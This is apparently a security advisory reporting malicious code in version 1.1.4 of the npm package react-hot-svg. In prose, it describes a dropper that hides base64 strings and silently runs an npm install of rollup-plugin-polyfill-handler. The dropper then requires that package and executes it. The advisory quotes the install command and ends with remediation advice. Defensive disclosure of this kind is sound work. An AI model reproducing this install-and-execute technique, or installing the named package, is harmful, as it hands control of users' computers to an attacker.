MAL-2026-10439 Malicious code in react-hot-svg (npm)

index.js in react-hot-svg 1.1.4 hides both a shell command and a package name as base64 strings named svgValidateKey and svgValidatePattern. When any of the exported API surface (getPlugin, setPlugin, validateSvgContent) is invoked, the code decodes svgValidateKey via atob to the string npm install rollup-plugin-polyfill-handler --no-save --silent --no-audit --no-fund, spawns it via child_process.spawn with stdio: 'ignore', and on process exit require()s the base64-decoded module name rollup-plugin-polyfill-handler and immediately invokes its .getPlugin()() function. The --no-save --silent --no-audit --no-fund flags suppress output and prevent the added dependency from appearing in package.json or the lockfile. The obfuscation of both the command and the required module name, the SVG-themed cover identifiers, and the pattern of installing-then-requiring-then-executing an undeclared external package match a dropper that lands and executes attacker-controlled code from a separate npm package on any consumer who uses this library's advertised API.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.